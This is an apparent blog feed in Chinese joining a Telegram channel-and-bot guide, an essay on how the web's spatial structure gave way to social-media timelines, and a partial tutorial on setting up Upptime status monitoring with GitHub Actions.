Clash for Android Channel | A Graphical user interface of Clash for Android |
SagerNet Apks | 支持 SOCKS、HTTP(S)、Shadowsocks、ShadowsocksR、VMess、VLESS、Trojan……等协议 |
Shadowrocket News | iOS 上小火箭 |
Quantumult News | Quantumult 的非官方频道。 |
Quantumult X News | 此频道用于发布 Quantumult 与 Quantumult X 的相关资讯。 |
迷雾通(Geph) | 与众不同的开源翻墙软件,提供完全免费的中速浏览,够浏览新闻、查邮件、看标清视频等。超快速度的付费 Plus 账号仅需 €5/月。截至 2021 年 5 月 29 日,暂不支持 iOS 设备。 |
协议 & 脚本 & 规则
频道 | 详情 |
---|---|
V2Fly | Shadowsocks 是一个纯粹的代理工具,而 V2Ray 定位为一个平台,任何开发者都可以利用 V2Ray 提供的模块开发出新的代理软件。by 新 V2Ray 白话文指南 |
ACL4SSR | https://github.com/ACL4SSR/ACL4SSR 官方频道。 |
QuanX & Surge & Loon 脚本收集 | 各种脚本。 |
Cool Scripts | QuanX, Loon, Surge, JsBox, Pythonista, Scriptable, Shortcuts 等脚本分享。 |
DivineEngine | 神机规则 |
评测
频道 | 详情 |
---|---|
毒药机场评测 | 由于大陆地区网络环境十分复杂,测速不代表推荐。另外,有些机场会泄露个人信息,选购时多加搜索或者进入机场用户群打探打探。 |
科学上网与机场观察 | 科学上网与机场相关观察、点评、随想和新闻资讯。 |
人人翻墙,则墙自倒 | 免费提供 Trojan、Vmess 节点。 |
关联阅读
频道 | 详情 |
---|---|
煎蛋无聊图 | 自动抓取煎蛋首页推荐无聊图及其评论。 |
内涵段子:皮一下 | 如题。 |
美图与沙雕 | 如题。 |
糗事百科 | 如题。 |
心惊报 | 又一个沙雕图频道,每日随缘更新。 |
你知道的太多了 | 不定期发布和转载各类不一定靠谱的内幕、流言蜚语、小知识等。 |
蛋挞报 | 分享阅读体验。 |
微信搬运工 | 有些微信的内容分享了之后就和谐了,本频道可以做个备份,以及丰富电报上的中文内容(不可否认还是有很多非政治的优质内容在微信公众号里)。 |
微博精选 | 来自微博的文章、资源和观点。 |
豆瓣精选 | 豆瓣书影音,以及相关讨论。 |
鹅组精选 | 豆瓣鹅组 非官方搬运。 |
即刻精选 | 精选即刻 app 热门话题更新。我的即刻 ID 是 Dr_Ting。 |
你不知道的内幕消息 | 同时抓取来自即刻 app 的 #大公司的负面新闻。 |
Matters 閲讀精選 | matters.news 一個自主、永續、有價的創作與公共討論空間。 |
频道 | 详情 |
---|---|
Google Play 限免信息 | 不定时推介 Play Store 上的限免游戏和 App。 |
纯粹的 App Store 应用推荐 | iOS 实用免费、精选限免、优质冰点应用推荐。 |
反斗限免 | 这里有反斗软件和反斗限免的文章更新。更新频繁高。 |
如有乐享 | 更新 如有乐享博客 的内容:云服务器、优惠活动、羊毛信息以及各种 Bug。 |
iShare News | 一个没有简介的资源分享频道。 |
Zapro Notice | 软件分享。 |
App 喵 | 破解软件资源共享。 |
Google Drive 资源 | 各种 Google Drive 资源,包括电影、电子书、无损音乐等,10 万+ 关注。 |
Google Voice 靓号 | 一个 GV 卖家。 |
Windows 10 激活码分享 | 🤫 |
频道 | 详情 |
---|---|
iYouPort | IYP 不是过眼云烟的新闻网站,我们提供实战能力,这里是值得您反复回看的档案室。 |
安全上网注意事项 | 转载一些关于安全上网的文章,这些文章都比较浅显。 |
博海拾贝 | 博海拾贝 的网站:bh.sb |
回形针PaperClip & 灵光灯泡 | 回形针内容推送。 |
合租 | Netflix、YouTube、Spotify、Office 365、HBO、Apple、Surge…… |
History | Digging Past. Photos from Past who shaped today. |
每日无数猫 | 让我们打造一个全是猫的世界!ฅ•ﻌ•ฅ |
NS 新闻转报 | 任天堂(Nintendo)相关的新闻。 |
基督讲道 | 基督讲道资源频道。 |
就要造反 | 此频道立足生活,以非常古怪的文字风格进行生存经验书写,绘制景观与消费社会中极具现实性的个案,以此为个体提供可操的、创造性的抵制策略与造反计谋。为一切造反者辩护,为所有无用与丰饶辩护。 |
One Piece Deluxe | Receive the latest updates from One Piece (海贼王), including chapters, episodes, spoilers and much more. |
海贼王 One Piece 更新提醒 | 由初中开始追《海贼王》 @TingTalk 创建。 |
此外,Telegram 上也有 国家或地区的领导人官方频道。
Bots 就像运行在 Telegram 内部的小程序。借助 Telegram 开放的 APIs,可以实现很多让你意想不到的功能。
在任意对话界面的消息编辑框,输入 Inline Bots 的名字,即可将 Ta 们唤醒(Just type @inlinebots keywords
in any chat.)。
Bot | Info |
---|---|
@bing | 图片搜索 by Bing(支持中英文)。 |
@bold | 👍 使用 Markdown 编辑消息(有字数限制)。 |
@coub | Coub 是一个视频共享网站(时长十秒的循环视频)。 |
@creationdatebot | 获取注册 Telegram 的日期。 |
@fanyi_bot | 为全世界语言提供中文翻译。 |
@foursquare | 帮你找到附近的餐馆或附近的地方,并将其地址发送给朋友。 |
@gamee | 在群组中输入 @gamee ,选择一个游戏,立刻和你的朋友 在 Telegram 上玩小游戏。 |
@gif | 👍 GIF 动图搜索,支持中文。例如 @gif 你好 。 |
@imdb | 查看影视作品在 互联网电影资料库(IMDb)的评分。 |
@GoogleDEBot | 在任意聊天框使用 Google 搜索引擎。 |
@like | 👍 添加 emoji-based like buttons,例如 👍 / 👎。在搜索框输入 @like ,预设一些喜欢的投票符号(最多 6 个),然后就可以在聊天框输入 @like 调用这些预设。 |
@music | 帮你找到动听的古典音乐。 |
@pic | 图片搜索 by Yandex(支持中英文)。 |
@QuizBot | 答题机器人:创建一份只有单选题的考卷。点此 开始测试你对 Telegram 的了解程度。访问 quiz.directory 查看更多问卷。 |
@sticker | 👍 检索所有与 Emoji 相关表情包。例如 @sticker 😎 。 |
@telegraph | 👍 登录和编辑 Telegraph 文章,并 统计 telegra.ph 的浏览量。 |
@vid | 帮你查找 YouTube 视频(支持中文搜索)。 |
@vote | 投票机器人。 |
@wiki | 维基百科。搜索中文条目 @wiki zh 猫 ;搜索英文条目 @wiki en cat |
@youtube | 帮你查找 YouTube 视频(不支持中文搜索)。 |
以下 Bots 不能在聊天窗口调取使用。
(如果)你不懂得 RSS,上网的效率和乐趣都要大打折扣。by 阮一峰
相比于传统的 RSS 客户端,Telegram 上的 RSS 订阅器的优点是:
⚡ INSTANT VIEW
在 All About RSS 里推荐了很多 RSS Bots:
以上大部分 Bots 都能免费使用,但是保不齐哪天服务器撑不住,就停止运营了,所以记得定期导出 OPML 文件作为备份。
如果有 VPS,自己搭一个专用的 RSS Bot 会是不错的选择。
通过 @ChinoNyanBot 可以在 Telegram 上在线点歌。
点歌教程
/netease
+ 歌名 / 歌手名
/tencent
+ 歌名 / 歌手名
/xiami
+ 歌名 / 歌手名
/kugou
+ 歌名 / 歌手名
其它点歌(下歌)机器人
小技巧:在音频播放器中,长按住「下一首」 和「上一首」按钮可以快进和倒带。Press and hold on the Next and Previous buttons to fast-forward and rewind.
Telegram 的服务器分布在世界各地的数据中心(Data Center,简称 DC)。如何查询自己所在的数据中心(好像没啥用):
第一步,在隐私和安全设置中,(临时)开启所有人都能查看你的头像(Profile Photos)。
第二步,选择一个查询 Bot:
Bot | Info |
---|---|
@luxiaoxun_bot | 鲁小迅 |
@WooMaiBot | 干物妹!小霾 |
第三步,发送 /dc
,即可获得你所在的数据中心。
Bot | Info |
---|---|
@bingdict_bot | 基于 Bing 开发的中英文翻译机器人。 |
@BotsArchiveBot | 收集了上千个 Bots(仅限英文版);官网。 |
@CorsaBot | 👍 Make Instant View from any article. 快速把文章把文章备份到 Telegraph。 |
@cnLottery_bot | Telegram 群组抽奖工具。 |
@DogFatherPublicbot | App Store 价格监控。 |
@githubbot | 推送 GitHub 仓库的动态。 |
@GmailBot | 👍 在 Telegram 上收发 📧 Gmail。 |
@he_weather_bot | 和风天气小棉袄。另外还有 WIEN 产品的 广州、深圳、东莞 的天气速报频道。 |
@IFTTT | With this bot you can use IFTTT to link your Telegram groups or channels to more than 360 other services like Twitter and Instagram, or connected devices like Hue lights and Nest. |
@jobs_bot | This bot lists career opportunities at Telegram and accepts candidates' applications. Available at https://telegram.org/job |
@LivegramBot | 👍 不加好友也能私聊,可用于收集反馈及绕开 +86 手机号码的限制。因为经过一层转发,消息一旦发送,便无法删除,但有个短暂的修改期。 |
@MakeQrBot | 发送文字,生成对应的二维码。 |
@sssoou_bot | Telegram 搜索,支持中文。 |
@Stickers | 👍 创建属于自己的表情包。 |
@tweet_for_me_bot | 在 Telegram 上发布 Twitter 动态。 |
@tgstogifbot | 把 Telegram 上 tgs 格式的表情包转换为 gif 格式。 |
@utubebot | 同时下载 YouTube 的视频和音频,不过会推送一些广告。 |
@verifybot | 加了官方认证后,名字后面有个 ✅(verify a big andactive official channel, bot or public group)。 |
@zzzdmbot | 真正值得买推送机器人,可以根据关键词订阅推送什么值得买精选优惠信息。 |
庭说的群组是 @tingtalk_group
@
提到你、 Reply
回复你和 Pin
管理员发布群通知时才会收到通知。👮 管理之道
🔐 管理机器人
在群组设置里搜索 Bots 名字,即可添加,然后赋予尽可能少的权限。
@DeleteEventsBot 或 @AntiServiceMessage_Bot
Delete messages
权限。Pin messages
和 Delete messages
权限。其它管理机器人:
Cloud Chats(默认聊天模式)
客户端
-服务器
/ 服务器
- 客户端
信息存储在 Telegram Cloud 中进行加密,这使云消息既安全又可以立即从任何设备访问,即使丢失了设备。所以你不需要将所有的信息历史记录存储在手机上,当你需要的时候,你可以随时在 Telegram 下载(缓存)旧的信息和媒体,这为你节省了大量的磁盘空间和内存。
Secret Chats(不支持在 Windows 和 Web 上发起)
客户端
- 客户端
聊天记录不能云备份,因为私人数据没有经过 Telegram 的同步服务器,所以没有任何人可以破解,包含 Telegram 团队本身。
关联阅读:为什么电报的端到端加密不是默认的?
Telegraph 一个极简的匿名内容发布工具(Minimalist publishing tool)。如果内容侵权了,例如使用有版权的图片,可能文章会被投诉下架。
此法不需要注册账号与下载软件。
⚠️ 内容发布之后,只要清除浏览器缓存,便无法再编辑文章,也不能追溯到文章作者。
通过 Telegraph 机器人 @telegraph 管理文章:
在任何一个设备(across any number of devices)都可以再次编辑文章的标题、作者和正文(除了文章链接):
Log in as *** on this device
My posts
,点击文章的标题EDIT
Open in…
用浏览器打开,滑倒文章底部即可看到 EDIT
URL = https://telegra.ph
/首次输入的标题
-首次发表时的月份
-首次发表时的日期
如果你用中文撰写标题,例如《选择 Telegraph 的 10 个理由》,那么文章链接会变得又臭又长,且不能从链接或者文章主题:
https://telegra.ph/%E9%80%89%E6%8B%A9-Telegraph-%E7%9A%84-10-%E4%B8%AA%E7%90%86%E7%94%B1-12-04
-
代替标点和空格:10-reasons-to-choose-telegraphEdit
功能修改标题为中文:选择电报的 10 个理由。#TelegramTips
。security@telegram.org
。 根据问题的严重程度,奖金从 500 美元到 10 万美元或更多。Stay home. Wash your hands. Be safe. And stay tuned for our next updates! It is already brewing in our dungeons! 呆在家,常洗手,敬请关注,更强大的 Telegram 已经在我们的地牢里酝酿中了!
欢迎读者在 Telegram 搜索 @tingbot 与我取得联系:指出此文疏漏,推荐优质频道和机器人,一起跨越数字鸿沟,共享信息自由。
]]>本文转自:https://www.orangeclk.com/2016/10/03/cyber-time-space/
传统的音频与视频是线性的,这在磁带与录像带中表现最为明显。音频与视频只能按顺序播放,倒带与快进也只能按照顺序进行,不能随机读取[1]。
现代音频视频播放器提供了进度条操作的接口,可以在时间轴上选取播放时间,有了一定随机读取的功能。但大体上音频与视频仍然是线性媒体,它只有按照时间顺序播放时才能提供意义,计算机提供的操作接口只是让人可以选择播放起点。音频视频中各帧内容只有时间关系,没有其他联系。
而文字不同。原始的文字同样是线性媒体,需要按照顺序阅读才能获取意义。但朴素的书已经比朴素的录音带有更先进的结构,用户可以根据页码或自己对书厚度的感知直接翻到想看的页面,而录音带必须按照顺序快进快退到指定位置。
人们在阅读文字时,常常快速扫描文字,找到感兴趣的部分再按照顺序细致阅读,这也达到了随机访问的效果。而音频与视频不能快速扫描,只能依然按照时间顺序快进或快退,来搜寻想要的内容,有较强的线性。
在互联网中,文字进化为超文本,任意规模的文字都可以变身为超链接,指向另一个网页。网站之间是平等的,他们没有时间顺序关系,也不需要网站之间的时间顺序关系来表述意义。
传统上,叙事总是要完成一个目的,叙事是修辞学(rhetoric)的艺术[2],它总是希望能给读者提供某件事物、某种想法、某个概念、某些道德训诫[3][4][5][6]。经典叙事总有时间上的先后顺序,我们听故事,一面讨厌剧透的人,一面又总是想问“后来呢?”在空间叙事中,我们则没有这种感触,自己东张西望到处看一遍便可。文学、电影都有这样的时空特性。
万维网不依赖传统的叙事,它不说服谁,没有时间顺序,不主动提供意义,它本身的呈现就是意义,互联网漫游者可以在这个互联网世界任意漫游,各自体验到不同的意义。
万维网由链接串结,都可以通过网址链接访问。互联网没有时间线性。不同的人在万维网世界随着链接漫游,是为网络冲浪(surfing the net),或者网络漫游(cyberflâneur),构成早期互联网的浪漫意象。链接宛如传送门,引导游客从一个世界穿梭到另一个世界。游客探索互联网的历程构成了互联网对游客本人的意义,这种漫游/冲浪是空间的,从用词就可以看出来。早期的互联网浏览器(browser)命名也能体现后现代的空间思潮,微软的 Internet Explorer 是“互联网探索者”,网景的 Navigator 是“领航员”,苹果的 Safari 是“野外旅行”,都明确指向空间穿梭的意思。用户通过超链接在一个又一个空间之间穿梭。每个空间都有自己的叙事,都讲自己的故事,产生自己的意义。但是这些意义不是互联网的意义,就如同北京上海一城一市的意义不是世界的意义。古时候交通不便,旅行艰难,人一生一世难以体会世界空间的广大,只能数着时间过日子,看不到广阔空间的意义。信息空间亦如是,在互联网之前,广阔的信息、知识对人是不可见的,人只能从有限的书报、广播电视频道、人际交往中获得信息。在互联网之前,信息编制得最发达之处可能是图书馆。图书馆的信息等级森严,秩序井然。书本与类目构成树形结构,每两本书之间只有一条路径可连通[7],信息之间丰富的关系仍然没有展开。我曾在清华大学图书馆检索信息论专著,然而却发现这些偏数学物理计算机的书都在文科图书馆,原因大致是信息论下属于信息传播,于是被归到了人文科学。在图书馆的树形秩序中,每本书分且仅分在一类之下,有些旧知识交叉得到的新信息,就无法合理安放。每项信息只与所属和下属的信息相连,很多信息之间的关系也没有包括进来。
直到超链接面世,人类拥有了表达信息关联的工具。在互联网中,空间结构由链接塑造,而空间中的每一个结点、每一个世界都可以是传统的样子。在每一个空间中,空间的主人都可以用文字、音频、视频讲述这个世界的故事。每个人都可以在网络上创建自己的空间,再把这个空间和网络的其他部分连接起来。互联网整体给人类提供了一个前所未有的空间世界,让人们第一次有机会在信息海洋中漫游、冲浪。互联网本身不需要按照时间顺序理解,互联网本身也不讲故事。人们需要的只是从一个空间跳转到另一个空间,寻找链接传送门,各处穿梭,体验世界。链接,是互联网最重要的特征,它突破了文字、音频、视频依附于时间、仰赖于叙事的局限,给了消费者很多对信息的消费自由,提供了目前最丰富的信息结构。
19 世纪至 20 世纪,文学出现空间化的浪潮,小说不再讲故事,而是会注重空间叙事。这可能与人类实际生活的变化有关,交通与通信的发展让人类从大航海到外太空探索不断,而且能即时沟通,很少感受时间与等待。同样的思潮也在 20 世纪蔓延到了其他方面,例如戏剧。1980 年代,批评家们认为空间化是现代性的一项核心特征。所谓空间化,就是让空间居于时间之上、抹平历史时间、拒绝宏大叙事。[8]万维网正是在这个时代背景下诞生。与传统的文本、音频、视频相比,万维网颠覆了时空在媒体中的关系。在文本、音频、视频中,空间是依附于时间的;而在万维网中,时间依附于空间。
原始万维网的野性世界不适合普通人。探索是费力的,探险家是少数,能在新空间建造城市的探险家更是少数。早期万维网拥有最扁平宽阔的结构,但只有少数人可以一窥门径。后来,人们在互联网空间建造了很多基础设施,与人方便。首先是生产工具。早年的互联网居民如果想建造新居,需要自己购买服务器、配置邮件服务、写后端逻辑、写前端页面,从一砖一瓦码起。但后来就有厂商开始提供毛坯房,只需用户装修即可,其中不得不提的便是 GeoCities。
GeoCities,字面意思“地理城市”,单从名字上就能看出浓重的空间意味。它诞生于 1994 年,与同样名称饱含空间感的 IE 浏览器几乎同岁。GeoCities 是一家网页寄存服务公司,用户可以把自己制作好的网页上传到 GeoCities,无需打理网络服务的种种,便可以让自己制作的网站上线。我们中小学微机课讲制作网页的时候,往往会提到“购买空间,把网页上传到空间”这一步骤,GeoCities 也就是这种空间商,至今网络上仍然有很多贩卖空间的服务公司。
GeoCities 后来由雅虎收购,中文称作“雅虎地球村”。GeoCities 曾经用不同的服务器服务不同的分站/子版,每个分站都以真实地名命名。例如,所有与计算机相关的站点都放在“硅谷”分站上,所有和电影有关的站点都放在“好莱坞”分站上。其命名与划分表现出很强的空间性,让人真产生漫游、旅行的印象。每个分站内的具体站点如前文所述,都是万维网用户自己制作的,所以风貌不同,就如同一条街上每家店铺装帧有别。
后来生产工具越来越多,出现了简装和精装房,连制作网页的装修功夫也省掉,用户可以直接填充内容。是为博客、轻博客之类。到了这一步,几乎每个人都可以在万维网上建立自己的小世界,供人浏览。2005 年以后,QQ 空间成为中国非常流行的博客工具,很多人都在 QQ 空间上经营着自己的一方天地。腾讯也把这项业务的名字换做 QQ“空间”,正是网络空间的写照。
到了博客这一步,万维网的空间世界已经蔚为大观,但网络时空的演化仍并未到此结束。
经营博客空间对普通人来说,还是太难。即便能写博客的人已经比能制作网页的人多了很多,但写作仍是件麻烦事,而且看文章也是件麻烦事。在万维网这个世界里,人类后来又发明了更多效率工具打理这些个人空间,把读写都简化了很多。这便是社交网络:Facebook、微博、推特等等。
进步不是一蹴而就的,社交网络的种种端倪,在博客时代、甚至网页寄存空间时代,就已有显现。例如,QQ 空间已然有了社交网络的影子,用户可以控制个人空间的访问权限,有社交关系,可以发说说。在 QQ 空间完成博客任务的同时,已经是相当完备的社交网络,推出时间与美国的 Facebook 也只差一年。类似的,新浪微博也是从新浪博客参考推特发展而来,从名称上就能看出其发展轨迹。
在社交网络中,空间主人不再需要撰写长篇大论,也无需整理文章格式,只要随手发送拍摄的照片,就可以维护自己的空间世界。平台进一步接管了顾客的工作。从网页托管空间,到博客空间,再到社交网络空间,大公司为普通用户代劳的事越来越多,普通用户需要做的事越来越少。每个人的空间也越来越像,个性越来越不足,但是效率却大大提升了。现实的街区也一样。最早的街区由居民自发经营,各商铺各自打造,店主人可发挥自由,不过街区缺乏规划。但缺乏规划的街区视觉混乱,顾客要费力才能辨别店铺的功能;建筑参差不齐,交通也容易堵塞;店铺的位置关系也未必合理,不能消化更多客流。如果街区能够有所规划,则顾客店主都得方便,各自省力获利。但这时店铺主人能自由作主的区域便小了,很可能外部面貌与建筑格局都已固定,只能在内饰上做文章。顾客看到的也容易是整齐划一的建筑,可供探索的内容少了很多。城市的商业中心看起来都差不多,正是街区工业发达的体现。为效率和商业牺牲自由与艺术,是物理街区和网络街区共同经历的过程。[9]
我不认为这一过程是负面的。起先,人们需要完整地搭建、发布网站,只有很少的人能做到;后来,人们只需要制作页面,剩下的工作由网页托管空间代办,但仍有制作网页的门槛;再后,博客出现,人们连页面都不用做,只需填写文字、链接,购买皮肤,几乎人人都可以操作。到这里,效率设施日臻完善,但博客站点一眼望去长得都差不多,多样的美感顿失,一如城市商业中心的相似。博客的广告也有很多为平台方包揽,一如成熟街区的商业广告。在牺牲个性的前提下,参观与创造网络空间的门槛低了,空间创作者和游客共同得利,互联网从少数人扩张到全人类,泽被环球。
在博客之后,网络科技仍能发展出更自动的效率工具,让无法维护博客的人也能制造自己的空间。这种空间非常小,网络平台商几乎代理建造了空间的全部内容,只剩下一块狭小的碎片供制作者填充。游客也无需适应每一个网站的新环境,他们只要呆在平台里,看每个柜台呈现出的小小空间即可,无需学习各自网站独特的艺术风格、交互方式,减少了接触内容的难度和自己的学习成本。
这样登峰造极的碎片空间,部分造就了社交网络。我们日常经常提到社交网络的内容碎片化,即是如此。
在社交网络之前,互联网有两条独立的发展轨迹。
第一条是前文详细叙述的万维网空间世界。在这一条轨迹中,互联网尝试实现广播媒体的功能,其内容是开放共享广播的,所有人都可以访问。而广播设施的日趋完善使得任意一个人都可以开设自己的专栏、书刊。在视频共享网站和直播网站兴起后,事实上每一个个人都可以创办自己的电视台。这一部分主要由万维网构成,万维网形成了一个广阔的空间世界。
在另一条轨迹中,互联网尝试实现通信工具的功能,它如同书信电报,是私密的,连接具体的两个人或是一组人。最早的互联网通信设施是电子邮件;后来发展出了即时通信工具,例如 QQ;再后发展处移动通信工具,如微信,几乎已经取代了电话与短信的通信功能。这些设施基本不属于万维网,甚至有时依赖与商业公司的私有协议,它们构成了人们通讯的信息专线。
网络空间有增强真人社交互动的需求,通讯工具也有提高内容消费的需求,两条轨迹相交,形成社交网络。
前文提到,万维网原始的空间世界不仅建设难度高,而且探索、消费难度也很高。人们在不断完善生产工具,让空间建设变简单之外,还在不断完善探索工具,给探索者们提供便捷的交通工具,让用户可以方便地在空间世界中找到自己想要的那个空间。
首先出现的是目录索引。杨致远于 1994 年创办了雅虎,用户可以在雅虎上根据类别索引逐步寻找目标网页。这个时候网络世界就出现了一个类似于图书馆系统的树形秩序,它与互联网本身的扁平结构共同存在。由于网络上的内容越来越多而按照类别索引寻找网站非常麻烦,雅虎又自然地添加了搜索功能。用户键入想找的关键词,再搜索,就可以看到目标网页。这时又出现了搜索入口秩序。此时,典型的互联网门户形态已经成型。在 21 世纪新型搜索引擎崛起之前,雅虎、新浪、搜狐这样提供搜索与分类索引的门户网站掌握了互联网入口,形成了互联网的权力中心。用户想冲浪、探索的时候,他们仍然可以沿着链接浏览每个空间;但当他们需要效率,需要完成功利的任务时,他们多了门户这个选择。
随着万维网规模的迅速扩大,人工编制索引变得越来越难。而与此同时,自动抓取网页且拥有优良排序算法的新型搜索引擎的性能越来越好,人们不再需要费力通过分类索引一层一层地找到自己想要的信息。如同今日之图书馆,我想大家找书也是通过图书馆的搜索引擎来找,不大可能是按照类目一层层寻下去。这时候,搜索引擎就变成了互联网网的主要入口,它成为互联网世界的新权力中心。
索引、搜索,都是万维网的交通工具,它让用户可以快速抵达目的地。如果说分层索引是路标链条,那搜索引擎就是直达特快。同时,交通枢纽和交通线意味着权力。现实中交通枢纽和交通线往往繁华,万维网也一样,万维网的交通设施往往是世界上市值最大的公司,他们的首页就是万维网交通枢纽。普通网站都希望能获得更多的搜索引擎流量,搜索引擎或网站索引如果屏蔽了某个网站,就如同交通线不在某城市经停,会对网站/城市产生立竿见影的不利影响。他们握有这个空间世界的权力,空间世界逐渐产生了自己的秩序。
与此同时,生产工具的发展使得在万维网建造空间的门槛越来越低,用户生产内容(UGC)越来越多。早先,万维网的秩序只要能覆盖到商业组织和社会组织,呈现出机构发布的信息,基本就能满足需求。但现在,大量的内容是海量单一的人生产的,人希望自己发表的内容能够被朋友看到,希望能和朋友就自己的空间发生互动。因此,新的秩序需求出现,人们希望能够根据社交信息浏览空间、发表内容。
很多博客已经有了一些交互与社交的功能,社交网络在博客基础上进一步加强了真人之间的联系。博客提供的空间规模对社交而言仍然太大,而真正的日常社交大多通过你一句我一句的对话完成,很少是你说一大篇我说一大篇。早年相距遥远的人们通过书信沟通,写成长篇大论,是迫不得已,通信不易,怎么写都还不够。在电话、短信、互联网之后,人们才得以体验与线下社交体验更相似的超距社交,而微博、短句的表达方式则很接近人们通信社交的现实。
社交是通信工具天生的功能,而社交是需要消费内容的。大家聊天,总得有个谈资。所以通信工具尝试引入空间世界的公开信息理所当然。除了资讯以外,社交也可以通过娱乐消费完成。这种消费可以是线上的,例如游戏;也可以是线下的,例如吃饭。它们都可以由用户在通信工具发起。手机本来就是通信工具,通信软件是手机的原住民。到了智能手机时代,通信软件的功能大幅增强,手机的地位也大幅提高,通信软件迎来了接入资讯与娱乐的机遇。万维网空间进入通信工具,从另一个角度塑造了社交网络。
让我们回忆电视的结构。电视有很多频道,每一个频道都在播放按照时间秩序叙事的视频节目。再对比现在的手机,手机的每个应用就是一个频道,打开每一个频道,都有一道按照时间顺序呈现的瀑布流。在空间打碎之后,时间作为组合这些碎片的方式,以时间轴的身份重新归来。用户不需要付出探索空间的努力,只要打开频道,信息就按照顺序自动呈现,而信息流仍然由一个个空间碎片组成,同时用户还可以通过点击方便地进入每一个账号的个人空间,每一个个人空间或具体的碎片空间里,内容往往还是按照时间顺序呈现。例如,中国足球队在微博于 2013 年在微博上发过一条“对不起”的微博,点开这条微博,其评论直至今日仍然活跃,这些评论按照时间顺序排列,整理开来就是中国足球三年的输球史,呈现出旧媒体无法展示的历史感。
时间和空间以新的方式结合,时间给了用户一条探索空间的线索。决策是需要付出精力和意志的,在空间变小变碎之后,每个空间很快就能阅览完,所以人们不得不需要频繁地决定下一站旅程去哪里。时间轴代劳了这一切,让用户无需消耗意志和精力就能滑动到下一条。
由于空间碎片的规模很小,单一的空间功能有限,空间碎片必须串联在一起才能呈现意义。试想,如果有一个手机应用,打开之后只能显示一条状态或是一条视频,那么它是没有意义的。只有大规模或富意义的单一空间做成应用才有意义,例如游戏应用、故宫推出的诸多文物应用、魔兽世界小说全集应用等等。普通人日常建造的空间碎片几乎没有做成单一应用的意义,它们必须聚集在一起,由一定的结构串联起来才有意义。这个结构目前通常是时间轴,时间轴不仅能把空间碎片串联起来,而且本身也提供一定意义,可以看出资讯间的时间关系。与电视的区别在于,我们看电视时,想看的是节目的意义,必须按照时间顺序阅读每个镜头才能明白;而在社交网络上,我们想看的是每条状态、每个空间碎片,不需要按照时间顺序阅读内容就能获得意义。在看电视时,我们是时间的奴隶,只有跟随时间的步伐一分一秒才能获得意义;但在浏览社交网络时,时间是我们的工具,我们用手指操纵时间轴,爱滑多快滑多快,想看哪里看哪里。
这一整段历程或许可以和文学比照。文学进入空间时代后,就基本与普通读者分离,大量空间碎片的堆叠让普通读者读不下去,只有学术庙堂中的文学研究者才会购买。文学作品离开了社会,从写到卖在学术圈内成为闭环。然而正常人终究还是喜欢放松的时候读读故事,因此有文学家也在考虑时间的回归。人类的物理空间探索也在冷战太空竞赛之后暂时放慢脚步,进入了对现有空间升级打磨的阶段。互联网也因由时间的回归从早期仅供少数人探索的万维网荒野开发成了几乎人人可享用的手机应用频道组。广袤的原野空间逝去了,取而代之的是涂满商业广告与购买按钮的批量制成品和密不透风的围观人群,流淌在一个又一个独立分隔的应用滚屏瀑布中。
[1]随机读取:可以直接跳到想要访问的地方,读取信息。
[2] Lev Manovich, The Language of New Media, p.77, 2001, MIT Press.
[3] 《国语辞典》:修辭是指如何調整語文表意的方法,設計語文優美的形式,使精確而生動的表現出說者或作者的意象,期能引起讀者共鳴的一種藝術。研究此種藝術的學科即為「修辭學」。
[4] 亚里士多德《修辞学》通行本对修辞的定义:“the faculty of observing in any given case the available means of persuasion”。
[5] 维基百科:Rhetoric (pronounced /ˈrɛtərɪk/) is the art of discourse, an art that aims to improve the capability of writers or speakers to inform, most likely to persuade, or motivate particular audiences in specific situations.
[6] 由于文论中的“修辞学”与汉语常用词“修辞”的意义不尽相同,中文学者在提到有关“Rhetoric”的论述时,有时会谈“说服力”。说服其实是修辞学的核心内涵,亚里士多德《修辞学》全篇都在谈演讲时如何说服别人。“修辞学”重功利,现在汉语的“修辞”通常指“修辞格”,只是修辞学的一部分,并且侧重于美的表现。罗年生译注亚里士多德《修辞学》中曾提到:“从公元前 4 世纪末期起,演说遍衰弱了,主要原因是由于希腊处在马其顿的高压之下,政治自由受到限制,公元前 3 世纪中期修辞术成为课堂的练习,注重风格,讲究规则,于是小亚细亚的一些希腊城邦兴起一种崇尚华丽而动人情感的‘亚细亚风格’,和赫革西阿斯为代表作家。与此同时,修辞学又遭到伊壁鸠鲁派和斯多葛派哲学家的攻击,被视为无用处,无价值。”他也提到罗马时期,有很多人主张恢复希腊古典时期的修辞学和演说风格。而“罗马以后的修辞术着重风格及词句的修饰”。甲骨文“辞”会意字,是“辩明事理”的意思,《说文解字》:“辞,讼也。”这说明我国古代的“辞”和希腊一样,也源于法庭诉讼,强调讲明道理、说服别人。但中华文明的王权很快就建立了起来,政治演说与法庭辩论的土壤不再。中文“修辞”一般就只作为美学概念,主要内涵为“修辞格”。中华文化和希腊文化在“修辞”的演化历史上有相通之处。
[7] 树结构的基本性质 https://en.wikipedia.org/wiki/Tree_structure https://en.wikipedia.org/wiki/Tree_(graph_theory)。
[8] Lev Manovich, The Language of New Media, p.78, 2001, MIT Press.
[9] Evgeny Morozov, The Death of the Cyberflâneur, http://www.nytimes.com/2012/02/05/opinion/sunday/the-death-of-the-cyberflaneur.html
]]>每隔一段时间用GitHub Actions 看网站能否访问,若不能访问就用GitHub Issues 回报异常事件,使用GitHub Pages 产生服务状态的页面.
GitHub Actions是GitHub上的一个自动化服务,你可以把脚本放到上面,当特定事件发生时,自动执行你的脚本。
以Upptime来说,预设是每隔五分钟访问你的网站一次(实际上由于GitHub的限制,间隔可能会更长),同时也会记录每次的response time,让你在页面上看历史纪录等等。
这些动作都写在Actions的脚本中,机器都会自己执行,完全不用动到一根指头。
介绍完之后,就来开始部署Upptime吧。
为了让Upptime有commit和publish网页的权限,需要设定Personal Access Token
Upptime使用.yml来做“集中式设置”,只要更改这个文件的设置,所有相关代码就会一起修改。
#你的GitHub username
owner: 【GitHub username】
#你的GitHub repo name
repo: 【repo name】
#加入要监控的网站名称与URL ,可以添加多个网站
sites:
- name: 【网站名称】
url: 【URL】
#没有域名的按照以下模版填写
status-website:
#cname: demo.upptime.js.org (移除)
baseUrl: /upptime
#有域名的按照以下模版填写
status-website:
cname: 【你的域名】
#自定义状态页面的navbar名称与链接
navbar:
- title: 【名称】
href: 【链接】
设定好.upptimerc.yml后,Actions就会自动开始运行(黄圈在转)。运行成功会显示绿色的勾,运行失败会显示红色的叉。
如果发现Actions没运行,或是想要让它马上执行,就点击左侧的Setup CI> Run workflow > Run workflow
你的状态页面URL是:https://【user_name】.github.io/【repo_name】/
或是可以到repo > Settings > GitHub Pages查看URL
点击URL后,我们来到了状态页面,页面分成三个区块。
